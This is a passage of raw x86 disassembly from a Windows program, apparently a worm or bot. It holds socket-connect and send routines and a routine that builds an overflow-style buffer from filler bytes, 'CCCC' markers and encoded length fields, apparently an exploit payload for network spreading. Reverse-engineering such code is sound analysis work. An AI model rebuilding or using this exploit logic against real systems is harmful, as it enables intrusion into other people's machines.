		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB774[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E564[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB770[eax*8]
		push	eax
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB774[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD770
		nop
		call	near ptr 289023Fh


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 288097Dh
		nop


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB774[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB624
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5CC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E56C[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6B0
		push	eax
		mov	edi, offset dword_4CE134
		push	offset dword_43224C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB6BC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B6B015FFh, 8D50004Ch, 0FFFECC85h
		dd 227468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E3600500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 1BE85757h, 9002413Fh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0A4E890FCh,	0FF023F3Eh
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CB54Ch
		dd 45895040h, 2015FF08h, 89004CB6h, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 0C868FFFFh
		dd 50004322h, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 60050000h,	500043E3h, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 413E29E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0B4E80875h, 90023F3Dh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 9C68FFFFh
		dd 50004322h, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB4DC
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFAC
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_432300
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_432308
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_432684
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_43230C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_432678
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_432674
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_432670
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_432664
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_43265F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB63C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB620
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB674
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_43239C
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4323CC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE33C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432314
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4323D8
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


